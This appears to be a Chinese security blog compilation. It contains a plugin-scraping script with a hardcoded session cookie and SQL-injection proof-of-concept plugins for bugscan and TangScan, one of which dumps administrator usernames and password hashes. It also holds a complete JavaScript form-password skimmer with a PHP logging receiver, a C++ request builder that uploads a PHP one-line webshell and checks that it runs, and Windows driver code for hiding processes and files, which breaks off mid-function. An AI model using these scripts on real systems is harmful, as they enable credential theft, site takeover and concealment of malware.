然后按照这个弄了一个多线程的

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
import requests,re
import time
import thread

def scan(i):
    print i
    qian = re.compile(r'<pre><code>([\s\S]*?)</code></pre>')
    headers = { 'Referer':'http://q.bugscan.net/',
            'UserAgent': 'Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19',
            'cookie':'CNZZDATA1256927980=200621908-1450077676-http%253A%252F%252Fq.bugscan.net%252F%7C1450106517; gsid=a8971c8ce53bc573809080eb34e7b03d88ed0dcfb733f1c48aceeeb1b6c8c574; _xsrf=2|1f20d955|cd1c41b6601fd0225ea5c8641af3028c|1451976836',}
    url = 'http://q.bugscan.net/t/'+str(i)
    response = requests.get(url,headers=headers)
    resu = qian.findall(response.content.replace('&#34;', '"'))
    if (len(resu)>0) and ("def assign(service, arg):" in resu):
        content = resu[0].replace("&#39;", "'")
        content = content.replace('&gt;','>')
        content = content.replace('&lt;','<')
        content = content.replace('&amp;','&')
        f = open('bugscan/'+bytes(i)+".py",'w')
        f.write(content)
        f.close()

def find_id():
    for i in range(1,2187+1):
        thread.start_new_thread(scan, (i,))
        time.sleep(3)

if __name__ == "__main__":
    find_id()

bugscan编写之python学习

发布时间:April 26, 2015 // 分类:代码学习,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#refer :http://www.wooyun.org/bugs/wooyun-2014-070316
#refer :http://www.wooyun.org/bugs/wooyun-2014-063225
 
def assign(service, arg):
    if service == "shopbuilder":
        return True, arg
 
def audit(arg):
    url1 = arg + '?m=vote/admin&s=vote&vid=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))'
    url2 = arg + '?m=vote/admin&s=vote_list&did=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))'
    url3 = arg + '?m=news/admin&s=news&newsid=extractvalue(1,concat(0x3a,md5(3.14),0x3a))'
    url4 = arg + '?m=news/admin&s=newslist&did=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23'
    url5 = arg + '?m=news/admin&s=newslist&nclass=1&chk[]=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23'
    code1, head1, res1, errcode1,finalurl1 =  curl.curl(url1)
    code2, head2, res2, errcode2,finalurl2 =  curl.curl(url2)
    code3, head3, res3, errcode3,finalurl3 =  curl.curl(url3)
    code4, head4, res4, errcode2,finalurl4 =  curl.curl(url4)
    code5, head5, res5, errcode5,finalurl5 =  curl.curl(url5)
    if code1 == 200 or code2 == 200 or code3 ==200 or code4 == 200 or code5 == 200:
        if "4beed3b9c4a886067de0e3a094246f7" in res1 or "4beed3b9c4a886067de0e3a094246f7" in res2 or "4beed3b9c4a886067de0e3a094246f7" in res3 or "4beed3b9c4a886067de0e3a094246f7" in res4 or "4beed3b9c4a886067de0e3a094246f7" in res5:
            security_hole('find sql injection: ' + arg+ '?m=vote/admin')
 
if __name__ == '__main__':
    from dummy import *
    audit(assign('shopbuilder', 'http://www.exploit.com/')[1])

自己看起来都惨不忍睹,后来xx提议使用一个for循环吧。再使用break跳出来就好了。自己查询了下,就弄了一个出来

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from : http://www.wooyun.org/bugs/wooyun-2014-067081
 
def assign(service, arg):
    if service == "shopbuilder":
        return True, arg
 
def audit(arg):
    payload=['?m=vote/admin&s=vote&vid=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=vote/admin&s=vote_list&did=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=news&newsid=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=newslist&did=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
    '?m=news/admin&s=newslist&nclass=1&chk[]=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
             ] #全部写进一个数组
    for i in range(len(payload)): #先获取整个数组的长度
        url = arg + payload[i]
        code, head, res, errcode,finalurl =  curl.curl(url)
        if code == 200 and "4beed3b9c4a886067de0e3a094246f7" in res: #如果满足整个条件
            security_hole('find sql injection: ' + url) #输出结果
            break #跳出循环
             
         
if __name__ == '__main__':
    from dummy import *
    audit(assign('shopbuilder', 'http://www.zgzyjczs.com/')[1])

后来看到某牛评论说是

循环读取没必要使用元组下标,直接从元组里循环就行

for payload in payloads:
    url = arg + payload
    code, head, res, errcode,finalurl =  curl.curl(url)
    ……

循环如果完了以后其实没必要有break的,而且你这属于多个payload挨个监测,其实让他检测完才是最好的情况

所以,最后的exploit是这个样子了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from : http://www.wooyun.org/bugs/wooyun-2014-067081
 
def assign(service, arg):
    if service == "shopbuilder":
        return True, arg
 
def audit(arg):
    payloads=('?m=vote/admin&s=vote&vid=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=vote/admin&s=vote_list&did=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=news&newsid=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=newslist&did=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
    '?m=news/admin&s=newslist&nclass=1&chk[]=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
             )
    for payload in payloads:
        url = arg + payload
        code, head, res, errcode,finalurl =  curl.curl(url)
        if code == 200 and "4beed3b9c4a886067de0e3a094246f7" in res:
            security_hole(url)
         
if __name__ == '__main__':
    from dummy import *
    audit(assign('shopbuilder','http://www.example.com/')[1])

 

js通用截获form密码代码

发布时间:April 26, 2015 // 分类:运维工作,PHP,代码学习 // No Comments

功能:
<form method="POST">(整个表单里如果没找到<input type="password">的框框则不截获,如果找到则截获所有input里的value。)</form>

/***************
通用截获form密码
IE, chrome通过测试
作者 Spider
****************/

function Send_Data(url,ref,datas) {
        var xmlhttp = false;
        //更高效地获取XMLhttp对象
        if(window.XMLHttpRequest) {
                xmlhttp = new XMLHttpRequest();
                if(xmlhttp.overrideMimeType) { xmlhttp.overrideMimeType('text/xml'); }
        } else if(window.ActiveXObject) {
                var xmlobj = ['Microsoft.XMLHTTP','MSXML.XMLHTTP','Msxml2.XMLHTTP.8.0','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'];
                for(var i = 0;i < xmlobj.length;i++) { try { xmlhttp = new ActiveXObject(xmlobj[i]); } catch(e) {} }
        }
        if(!xmlhttp) { return false; }
        //接收截获数据地址(跨域方法百度找)
        var sjurl = 'http://localhost/door/get/xss.php';
        //$_POST['url']-当前地址,$_POST['ref']-来路,$_POST['data']-截获的数据
        var sjpos = 'var=xss&url='+escape(url)+'&ref='+escape(ref)+'&data='+escape(datas);
        //POST方法提交数据
        xmlhttp.open("POST", sjurl, true);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xmlhttp.setRequestHeader("Content-length",sjpos.length);
        xmlhttp.setRequestHeader("Connection","close");
        xmlhttp.send(sjpos);
        return true;
}

function Form_Hijack(thisform) {
        var ispwd = false;
        //查找form里是否含有输入密码的框框
        for(var k = 0;k < thisform.elements.length;k++) {
                var sjobj = thisform.elements[k]; if(sjobj.type == 'password') { ispwd = true; break; }
        }
        //如果没有输入密码的框框则不截获
        if(!ispwd) { return true; }
        var sjurl = window.location;
        var sjref = document.referrer;
        //如果运行在子窗口
        if(window.parent.location) { sjurl = window.parent.location; }
        if(top.document.referrer) { sjref = top.document.referrer; }
        else if(window.parent.document.referrer) { sjref = window.parent.document.referrer; }
        var sjdata = '';
        for(var j = 0;j < thisform.elements.length;j++) {
                var sjobj = thisform.elements[j];
                //过滤掉不重要的对象
                if(sjobj.type != 'button' && sjobj.type != 'submit' && sjobj.type != 'hidden' && sjobj.type != 'image') {
                        //框框的名字(name="") 数据(value="")
                        sjdata += sjobj.name+':'+sjobj.value+' --- ';
                }
        }
        //如果截获成功就发送
        if(sjurl && sjdata) { Send_Data(sjurl,sjref,sjdata); }
        return true;
}

function Start_Hijack() {
        if(document.getElementsByTagName) {
                //开始遍历form表单
                var sjform = document.getElementsByTagName("form");
                //劫持所有form表单的提交事件
                for(var i = 0;i < sjform.length;i++) { sjform[i].onsubmit = function() { return Form_Hijack(this); } }
        }
        return true;
}

//不显示网页错误
window.onerror = function() { return true; }
//页面加载完毕才开始截获
document.onreadystatechange = function() {
        //让子弹飞一会
        if(document.readyState == "complete") { setTimeout('Start_Hijack()',1000); }
}

补充: - 低调求发展6 h7 @  G1 |  v8 V- ^% a
记录截获数据php文件

<?php 
/***************
通用截获form密码 php接收文件
作者 Spider
****************/
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");

//保存数据的文件
$logfile = './xss.txt';

function filew($filename,$filedata,$filemode) {
        $handle = fopen($filename,$filemode);
        $key = fputs($handle,$filedata);
        fclose($handle);
        return $key;
}

function filer($filename,$filesize = 0) {
        $filesize = $filesize ? $filesize : filesize($filename);
        $handle = fopen($filename,'r');
        $filedata = fread($handle,$filesize);
        fclose($handle);
        return $filedata;
}

function checkgpc($array) {
        foreach($array as $key => $var) { $array[$key] = is_array($var) ? checkgpc($var) : stripslashes($var); }
        return $array;
}

if(get_magic_quotes_gpc()) { $_POST = checkgpc($_POST); }

if(isset($_POST['url']) && isset($_POST['ref']) && isset($_POST['data'])) {
        if(strlen($_POST['url']) > 500 || strlen($_POST['ref']) > 500 || strlen($_POST['data']) > 1000) { exit('数据太大不正常'); }
        $temp = filer($logfile);
        $data = $_POST['url'].'●'.$_POST['ref'].'●'.$_POST['data'];
        //是否重复记录
        if(strpos($temp,$data) > -1) { exit('重复记录'); }
        //来路IP
        $reip = '●'.$_SERVER["REMOTE_ADDR"];
        //时间
        $time = '●'.date('Y-m-d H:i',time());
        filew($logfile,$data.$reip.$time."\r\n",'w');
}
?>

 

关于VC编写插件的写法

发布时间:April 26, 2015 // 分类:代码学习,VC/C/C++,windows // No Comments

vc每次更新都需要重新 编译一次。好麻烦的说

首先构建一个get请求和post请求的类

void GetRequest(char *url,BOOL bRecv,BOOL bSmall)
{
    //构造get请求包  
 
    CString enUrl=url;
    enUrl.Replace(" ","%20");;
     
    CString GetPackage="";
    CString cookieValue="";
    cookie!="" ? cookieValue ="Cookie: "+cookie+"\r\n" : cookieValue="";
    GetPackage.Format("GET %s%s HTTP/1.1\r\n"
                    "Accept: */*\r\n"
                    "Accept-Language: zh-cn\r\n"
                    //"Accept-Encoding: gzip, deflate\r\n"
                    "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\n"
                    "%s"
                    "Host: %s\r\n\r\n",
                    m_strWebRoot,enUrl,cookieValue,m_strHost.GetBuffer(0)                                       
    );
    //AfxMessageBox(GetPackage);
    //目录名 和  链接都有可能,所以对整个包进行编码
    CString encodedPack="";
    if (defaultCharset=="utf")
    {
        encodedPack=EncodeHanzi(GetPackage,CP_ACP,CP_UTF8);
    }else{
         
        encodedPack=EncodeHanzi(GetPackage,CP_ACP,CP_ACP);
    }
    //AfxMessageBox("send to target");
    sendToTarget(encodedPack.GetBuffer(0),bRecv,bSmall);
}
 
void PostRequest(char *url, char *data,BOOL bRecv)
{
    //构造Post请求包
 
    CString enUrl=url;
    enUrl.Replace(" ","%20");
//     enUrl.Replace("&","$_and_$");
//     enUrl=CParser::UrlEncode(enUrl);
//     enUrl.Replace("$_and_$","&");
 
 
    CString PostPackage="";
    CString cookieValue="";
    cookie!="" ? cookieValue ="Cookie: "+cookie+"\r\n" : cookieValue="";   
 
    //对可能有的中文进行编码
    CString encodedUrl="",encodedData="";
    if (defaultCharset=="utf8")
    {
        encodedUrl=EncodeHanzi(enUrl,CP_ACP,CP_UTF8);
        encodedData=EncodeHanzi(data,CP_ACP,CP_UTF8);
    }else{
        encodedUrl=EncodeHanzi(enUrl,CP_ACP,CP_ACP);
        encodedData=EncodeHanzi(data,CP_ACP,CP_ACP);
    }
 
    PostPackage.Format("POST %s%s HTTP/1.1\r\n"
                         "Accept: */*\r\n"
                         "Content-Type: application/x-www-form-urlencoded\r\n"
                         "Host: %s\r\n%s"
                         //"Accept-Encoding: gzip, deflate\r\n"
                         "Content-Length: %d\r\n"
                         "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36\r\n\r\n%s",
                         m_strWebRoot,encodedUrl,m_strHost.GetBuffer(0),cookieValue.GetBuffer(0),encodedData.GetLength(),encodedData);
   
    sendToTarget(PostPackage.GetBuffer(0),bRecv);

}

然后对其进行定义参数

void makePostRequest(char *url, char *data,BOOL bRecv=FALSE);  //url 数据 是否接收服务器返回数据
    void makeGetRequest(char *url,BOOL bRecv=FALSE,BOOL bSmall=FALSE); //url 数据 是否接收服务器返回数据

然后我们再单独调用分别对GET以及Post的请求

首先是GET请求的:漏洞来源http://0day5.com/archives/3021

GetRequest("/wap/?action=show&mod=admin%20where%20userid=1%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version(),floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23",TRUE);  //发送请求以及确定要接收服务器返回的参数
    //GET请求
    CString strRet=getInfo("Duplicate entry '(.*?)'");
    //使用正则进行匹配
    if (strRet!="")  //如果strRet不为空表示存在注入
    {
        return "/wap/?action=show&mod=admin where userid存在显错式注入! 版本"+strRet;
    }

再来看一个POST请求的,漏洞详情,请关注:http://0day5.com/archives/3028

PostRequest("/delete_cart_goods.php","id=1%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)",TRUE);
//PostRequest(url,data,ture/false)
    strRet=getInfo("Duplicate entry '(.*?)'");
    if (strRet!="")
    {
        return "/delete_cart_goods.php id存在post显错式注入! 版本"+strRet;
    }

还有一个上传的方式。漏洞详情,请关注:http://0day5.com/archives/3039

它的数据包是这个样子的

POST http://mail.domain.com:889/src/big_att_upload.php HTTP/1.1
Host: mail.domain.com:889
Connection: keep-alive
Content-Length: 658
Origin: http://mail.domain.com:889
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Accept: */*
Referer: http://mail.domain.com:889/src/write_mail.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: PHPSESSID=outb98m2mckt5a03pejd1aqra0; _HICOM[LANGUAGE]=zh-cn
 
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filename"
 
vultest.php
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="PHPSESSID"
 
outb98m2mckt5a03pejd1aqra0
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="dir"
 
/var/www/newmail/
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filedata"; filename="vultest.php"
Content-Type: application/octet-stream
 
12345
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Upload"
 
Submit Query
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5--

我们把它分成头部还有内容两个部分

头部是这样子的

POST http://mail.domain.com:889/src/big_att_upload.php HTTP/1.1
Host: mail.domain.com:889
Connection: keep-alive
Content-Length: 658
Origin: http://mail.domain.com:889
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Accept: */*
Referer: http://mail.domain.com:889/src/write_mail.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: PHPSESSID=outb98m2mckt5a03pejd1aqra0; _HICOM[LANGUAGE]=zh-cn

内容部分是这个样子的

------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filename"
 
vultest.php
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="PHPSESSID"
 
outb98m2mckt5a03pejd1aqra0
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="dir"
 
/var/www/newmail/
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Filedata"; filename="vultest.php"
Content-Type: application/octet-stream
 
12345
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5
Content-Disposition: form-data; name="Upload"
 
Submit Query
------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5--

然后就好办了,对其进行转码~\r\n转换为\\r\\n  ""记得转为\"

CString uploadPack="",uploadHead="",uploadBody="";//首先我们定义个数据包,数据的头部和数据的内容
uploadBody="------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\nguige.php\r\n------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nContent-Disposition: form-data; name=\"PHPSESSID\"\r\n\r\noutb98m2mckt5a03pejd1aqra0\r\n------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nContent-Disposition: form-data; name=\"dir\"\r\n\r\n/var/www/newmail/\r\n------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"shell.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php @$_GET[0](@$_REQUEST[1]);?>\r\n------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nContent-Disposition: form-data; name=\"Upload\"\r\n\r\nSubmit Query\r\n------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5--";
//这里是数据的内容
uploadHead.Format("POST /src/big_att_upload.php HTTP/1.1\r\nHost: %s\r\nConnection: keep-alive\r\nContent-Length: %d\r\nOrigin: http://%s\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36\r\nContent-Type: multipart/form-data; boundary=----------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5\r\nAccept: */*\r\nReferer: http://%s/src/write_mail.php\r\nCookie: PHPSESSID=outb98m2mckt5a03pejd1aqra0; _HICOM[LANGUAGE]=zh-cn\r\n\r\n",
//数据的头部
m_strHost,uploadBody.GetLength(),m_strHost,m_strHost);
//得出数据的地址,内容,以及长度
uploadPack=uploadHead+uploadBody;
//对数据进行拼接组合起来
sendToTarget(uploadPack.GetBuffer(0),TRUE);
//发送数据
//判断一句话是否存在
makePostRequest("/shell.php?0=assert","1=echo 1;",TRUE);
if(GetResponseContent().Find("1",0)!=-1){
return "http://"+m_strHost+m_strWebRoot+"/guige.php?0=assert 密码1";
}

 

关于Tangscan的插件编写

发布时间:April 26, 2015 // 分类:代码学习,linux,windows,python // No Comments

看了Tangscan插件编写后,自己按照那个过程写一个poc的时候的一些笔记以及注释

#! /usr/bin/env python
# -*- coding: utf-8 -*-
 
"""
Copyright (c) 2013-2014 TangScan developers (http://www.wooyun.org/)
See the file 'docs/COPYING' for copying permission
author: fate0 <fate0@wooyun.org>
"""
 
import re   #为了能够匹配网页内容, 我们需要import re
 
from thirdparty import requests
    #TangScan 还自带了一些比较好用的第三方库, 在这里我们import requests来处理http请求
from modules.exploit import TSExploit
    #编写TangScan POC不可缺少的一个类 TSExploit
 
 
__all__ = ['TangScan']
 
 
class TangScan(TSExploit):  #定义TangScan类, 并且继承于TSExploit
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "74cms plus/ajax_common.php sql 注入漏洞", # POC 的名称
            "product": "74cms", # POC 所针对的应用, 在 tangscan 主页上展示出所有的应用
                # 名称必须和 tangscan 主页上的一致(大小写敏感)
            "product_version": "", # 应用版本号
            "desc": """
                74cms plus/ajax_common.php 对编码的处理不恰当,在处理UTF8转成GBK后还对其进行了addslashes处理。转码后直接带入查询 而且直接输出
            """,  # 漏洞描述
            "license": self.license.TS, # POC 的版权信息
            "author": ["saline"], # POC 编写者
            "ref": [
                {self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-063225"},# 乌云案例链接
            ],
            "type": self.type.injection, # 漏洞类型, 在详细介绍中列举了所有 POC 的类型
            "severity": self.severity.high, # 漏洞的危害等级, 在详细介绍中列举了所有 POC 的危害等级
            "privileged": False, # 是否需要登录
            "disclosure_date": "2014-09-03",# 漏洞的公布时间
            "create_date": "2015-03-30",# POC创建时间
        }
 
        self.register_option({  #调用 regsiter_option 方法注册所需参数
            "url": {            #我们所需的参数是 url
                "default": "",  #设置参数 url 的默认值为 ""
                "required": True, #设置参数 url 是否是必要参数
                "choices": [],  #设置参数 url 的可选值, []为无可选值
                "convert": self.convert.url_field, #设置参数 url 的类型, TangScan会判断以及自动将参数url转成POC中的url类型
                                                   #例如: www.example.com 转换成 http://www.example.com
                "desc": "目标 url" #设置参数 url 的描述, 这会在帮助中显示
            }
        })
 
        self.register_result({  #调用 register_result 方法注册POC返回结果
            "status": False,    #POC 的成功失败状态, 必须
            "data": {           #POC 返回数据的存放处,必须名为 data, 而且data中的键都在 数据返回表 中已定义
                "user_info": {  #POC 的exploit模式将返回管理员用户名密码, 所以data下填写user_info
                    "username": "",  #POC 将返回 user_info 的 username
                    "password": "",  #POC 将返回 user_info 的 password
                    "pwd_hash": ""   #POC 将返回 user_info 的 pwd_hash
                },
                "db_info": {
                    "version": "",   #POC 将返回 db_info 的 version的版本信息
                }
            },
            "description": "",       #POC 返回对人类可读性良好的信息, 最终会直接显示在漏洞报表中
            "error": ""              #POC 执行失败或者异常的原因
        })
 
    def verify(self): #定义 verify 方法
        self.print_debug("verify start") #调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
 
        re_version_pattern = re.compile(r'~~~(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
        #cookies = {'cookie': 'admin'}
        exp_url = ("{domain}/plus/ajax_officebuilding.php?act=key&key=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,2,3,concat(0x7e7e7e,@@version,0x7e7e7e),5,6,7,8,9%23".format(domain=self.option.url))
                    #self.option.url 就是我们所定义输入的 url , 在这里可以获取用户在命令行输入的 url
                    #例如: 使用 self.option.xxx 就可以获取在命令行输入的 xxx 的值
 
        try:
            #response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
            response = requests.get(exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
 
        re_result = re_version_pattern.findall(response.content)
        if len(re_result) == 0:
            self.result.status = False
            return
 
        self.result.status = True
            #self.result.status 就是我们所定义输出的 status, 检测目标url存在漏洞, 设置 self.result.status = True
            #例如: 使用 self.result.xxx 就可以获取或设置result 的结果
        self.result.data.db_info.version = re_result[0]
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
        #设置 result.description, 最终会在报表中直接显示
            url=self.option.url,
            db_version=re_result[0]
        )
 
    def exploit(self):                   #定义 exploit 方法
        self.print_debug("exploit start")
            #调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
 
        re_userinfo_pattern = re.compile(r'~~~(\w+?)\|\|\|(\w+?)\|\|\|(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            # 建立获取user_info的正则表达式, 建议在敏感信息周边加上特殊符号以便于正则获取, 也可以大程度减少误报
            #cookies = {'cookie': 'admin'}
        exp_url = ("{domain}/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27%20a%3C%3End%201=2%20un%3C%3Eion%20sel%3C%3Eect%201,concat(0x7e7e7e,admin_name,0x7c7c7c,pwd,0x7c7c7c,pwd_hash,0x7e7e7e),3%20fr%3C%3Eom%20lhrc_admin%23".format(domain=self.option.url))
 
        try:
            #response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
            response = requests.get(exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
 
        re_result = re_userinfo_pattern.findall(response.content)
            #使用正则获取html页面中的信息
        if len(re_result) == 0:
            self.result.status = False
            return
 
        self.result.status = True
            #获取到敏感信息之后, 将status设置为 True
        self.result.data.user_info.username = re_result[0][0] 
            #通过self.result.data.user_info.username = re_result[0][0] 可以很简单的设置结果中的username
        self.result.data.user_info.password = re_result[0][1]
        #通过self.resutl.data.user_info.password = re_result[0][1] 可以很简单的设置结果中的password
    self.result.data.user_info.pwd_hash = re_result[0][2]
        self.result.description = "目标 {url} 存在sql注入, 目标管理员用户: {username}, 密码: {password},HASH: {pwd_hash}".format(
            url=self.option.url,
            username=self.result.data.user_info.username,
            password=self.result.data.user_info.password,
            pwd_hash=self.result.data.user_info.pwd_hash
        )
 
 
if __name__ == '__main__':
    from modules.main import main #导入 main 函数
    main(TangScan())              #执行 main 函数, 以TangScan的一个实例为参数

我去,出现乱码了~但是不影响

找个站来测试下我们的exp

继续--mode exploit测试下

关于驱动隐藏进程以及文件夹

发布时间:April 26, 2015 // 分类:代码学习,VC/C/C++,windows // No Comments

进程隐藏:让任务管理器找不到指定进程
原理:任务管理器通过ZwQuerySystemInformation函数来获取当前进程列表,而 ZwQuerySystemInformation函数内部是通过查找双向链表来操作的,所以如果把想隐藏的进程从这个链表中脱离出来,任务管理器就列不出这个进程了。
具体方法:1、首先得到要隐藏的进程的PID
      2、通过PID得到进程的EPROCESS
      3、由EPROCESS定位到双向链表
      4、修改链表,使指定进程脱离
实现:
1、在驱动中获取指定进程PID网上有很多方法,贴一个我也忘了在哪里找的方法吧:

代码:

ULONG GetPid()
{
  NTSTATUS ntStatus;
  char ProcessName[256];
  ULONG cbBuffer; 
  PSYSTEM_PROCESS_INFORMATION pInfo;
  PSYSTEM_THREAD_INFORMATION pThread;
  VOID* pBuffer = NULL;
  ULONG i;
  ULONG ThreadCount;
  char MyProtectName[]="calc.exe";
  ULONG MyProcessId;


  ZwQuerySystemInformation(5, &cbBuffer, 0, &cbBuffer);
  pBuffer = ExAllocatePool (NonPagedPool, cbBuffer); 
  if (pBuffer == NULL) 
  {
    return 1;
  }
  ntStatus = ZwQuerySystemInformation(5, pBuffer, cbBuffer, NULL);

  if (!NT_SUCCESS(ntStatus))
  {
    ExFreePool(pBuffer); 
    return 1; 
  }

  pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;

  while(1){
    LPWSTR pszProcessName = pInfo->ProcessName.Buffer;
    if (pszProcessName == NULL) 
      pszProcessName = L"NULL"; 
    wcstombs(ProcessName,pszProcessName,256); 
    if(_stricmp(MyProtectName,ProcessName)==0)
    {
      DbgPrint("calc.exe Pid is %d\n",pInfo->ProcessId);
      MyProcessId=pInfo->ProcessId;
      return MyProcessId;
    } 
    if (pInfo->NextEntryDelta == 0) 
      break; 

    pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)+ pInfo->NextEntryDelta);
  }
  ExFreePool(pBuffer);
  return 0;
}

该方法的原理是:
通过ZwQuerySystemInformation函数得到进程信息_SYSTEM_PROCESS_INFORMATION,然后按进程名与要隐藏的进程名进行比较,得到进程的PID。
2、通过PID得到进程的EPROCESS就简单了,一个PsLookupProcessByProcessId全部搞定。
3、定位双向链表就更简单了,dt一下EPROCESS结构,找到ActiveProcessLinks成员的偏移,就是它了。
4、最后一步,修改链表。看网上的代码我一直没看明白,想到上学的时候写过双链表的程序,索性自己分析了一下:
作一个简单的示意图,方便理解吧:
 点击图片以查看大图

图片名称:   111.png
查看次数:   26
文件大小:   5.0 KB
文件 ID : 84521
现在假设想要隐藏的进程在双链表中对应B节点,橘黄色箭头表示前一个节点Blink,绿色箭头表示后一个节点Flink。
先看上面一条链表,现在要把B节点中的C,写到A节点中B的位置,而A节点正是B.Blink,所以就可以这样写一句代码:B->Blink->Flink = B->Flink,这样上一条链已经不关节点B的事了。
但是这样还脱不了身,还得把下面一条链断了。也就是要B.Blink赋值给C.Blink,既而得到了这样一句代码:B->Flink->Blink= B->Blink;
综上所述,任务管理器找不到指定进程了。
文件隐藏
原理:windows文件浏览器是使用ZwQueryDirectoryFile函数来读取文件列表的,只要hook这个函数,做一些过滤,就可以了。

if(NT_SUCCESS(status)&&FileInformationClass==FileBothDirectoryInformation)
  {
    PFILE_BOTH_DIR_INFORMATION pFileInfo;
    PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
    BOOLEAN bLastOne;
    int iPos,iLeft;
    pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation; 
    pLastFileInfo = NULL;
    do
    {
      bLastOne = !( pFileInfo->NextEntryOffset );
      RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
      RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
      RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
      if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
      {
        if(bLastOne) 
